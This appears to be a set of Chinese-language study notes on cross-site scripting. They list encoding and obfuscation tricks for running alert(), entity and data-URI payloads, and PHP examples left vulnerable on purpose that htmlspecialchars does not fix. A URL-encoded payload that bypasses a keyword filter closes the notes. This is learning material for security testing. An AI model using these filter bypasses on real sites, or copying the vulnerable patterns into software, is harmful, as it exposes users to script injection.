存储型XSS
$input =$_GET['inout'];
$code= <<<CODE
<textarea>$input</textarea>
CODE;
===是否使用htmlspecial处理之后就可以避免XSS
弹窗技巧
常见的小技巧
a=alert(1) ,a(1)
al\u0065rt(1)
top ‘al\145rt’
top[‘a’+‘l’+‘e’+‘r’+‘t’](12345)
[1].find(alert)
常见的编码
!
Html实体编码(以&开头 ;结尾)
不能被浏览器渲染成标签‘
HTML字符编码(10进制,与16进制)
例如 <
html 十进制: <;
html 十六进制 C;
Unicode编码的本质就将一个字符对应的16进制前面加上/u
#相当JavaScript执行执行
!在js中,像括号重音符号,引号这些算是控制符号,Unicode编码将不被解析(本质上不允许对他们编码,编码后将无法识别)。
html页面渲染
pre)->要求能够正确的识别标签的结构,比如onerror
- 浏览器会对我们的标签节点进行有且仅有一次基于html的解码
- 解码之后的结果根据JavaScript的相应的语法进行执行
在html5里面的特殊符号
< a href=“javascript:alert(12345)”>click< /a>
javascript:可编码
& NewLine ; ------->换行 绕过正则
& colon ; ---------->冒号 :
XSS补充
data协议的使用方法:
<a href="data:text/html;base64,PHNjcmlwdD5hbGVydCgxKTwvc2NyaXB0Pg==">111</a>
Objet协议
- 面试
<?php
$input = htmlspecialchars($_GET['input']);
$code = <<<CODE
<script>document.write('$input')</script>
CODE;
echo $code;
- Inner HTML
<html>
<body>
<div id="id">haha</div>
</body>
</html>
<?php
$input = htmlspecialchars($_GET['input']);
$code = <<<CODE
<script>
document.getElementById("id").innerHTML='$input';
</script>
CODE;
echo $code;
URL双写绕过
<?php
$input = htmlspecialchars($_GET['input'], ENT_QUOTES);
preg_match('/alert/i', $input, $matches);
if (!empty( $matches)){
die("使用了敏感字符");
}
$code = <<<CODE
<a href='$input'>click me </a>
CODE;
echo $code;
http://www.localhost.com/js/tet.php?input=javascript:%25%36%31%25%36%63%25%36%35%25%37%32%25%37%34(12345)